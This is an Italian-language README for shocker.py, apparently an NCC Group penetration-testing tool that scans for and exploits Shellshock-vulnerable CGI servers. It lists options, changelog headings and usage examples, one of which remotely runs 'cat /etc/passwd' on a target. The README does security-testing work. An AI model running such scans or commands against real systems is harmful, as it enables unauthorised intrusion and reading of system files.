
Uno strumento per trovare e sfruttare server vulnerabili a Shellshock
Uno strumento per trovare e sfruttare server vulnerabili a Shellshock
Rif.: https://en.wikipedia.org/wiki/Shellshock_(software_bug)
Rilasciato come open source da NCC Group Plc - https://www.nccgroup.trust/
Sviluppato da:
https://github.com/nccgroup/shocker
Rilasciato sotto AGPL, consultare LICENSE per maggiori informazioni
uso: shocker.py
-h, --help mostra questo messaggio di aiuto ed esce
--Host HOST, -H HOST Un hostname o indirizzo IP di destinazione
--file FILE, -f FILE File contenente una lista di target
--port PORT, -p PORT Numero di porta del target (default=80)
--command COMMAND Comando da eseguire (default=/bin/uname -a)
--cgi CGI, -c CGI Singolo CGI da controllare (es. /cgi-bin/test.cgi)
--proxy PROXY ATTUALMENTE UN PO' ROTTO Proxy da usare nel formato 'ip:port'
--ssl, -s Usa SSL (default=False)
--threads THREADS, -t THREADS Numero massimo di thread (default=10, max=100)
--verbose, -v Output verboso
./shocker.py -H 127.0.0.1 --command "/bin/cat /etc/passwd" -c /cgi-bin/test.cgi
Scansiona http://127.0.0.1/cgi-bin/test.cgi e, se trovato, tenta di eseguire cat /etc/passwd
./shocker.py -H www.example.com -p 8001 -s
Scansiona www.example.com sulla porta 8001 usando SSL per tutti gli script in cgi_list e tenta l'exploit predefinito per qualsiasi trovato
./shocker.py -f ./hostlist
Scansiona tutti gli host elencati nel file ./hostlist con le opzioni predefinite
Python 2.7+
Cambiamenti nella versione 1.1 (Giugno 2018)
Cambiamenti nella versione 1.0 (Marzo 2016)
Cambiamenti nella versione 0.72 (Dicembre 2014)
Cambiamenti nella versione 0.71 (Dicembre 2014)
Cambiamenti nella versione 0.7 (Novembre 2014)
Cambiamenti nella versione 0.6 (Ottobre 2014)
Cambiamenti nella versione 0.5 (Ottobre 2014)
Cambiamenti nella versione 0.4 (Ottobre 2014)
Pre 0.4 (Ottobre 2014)
Anthony Caulfield @ NCC per il tempo e l'impegno nella revisione delle prime versioni
Brendan Coles @ NCC per il suo supporto e contributi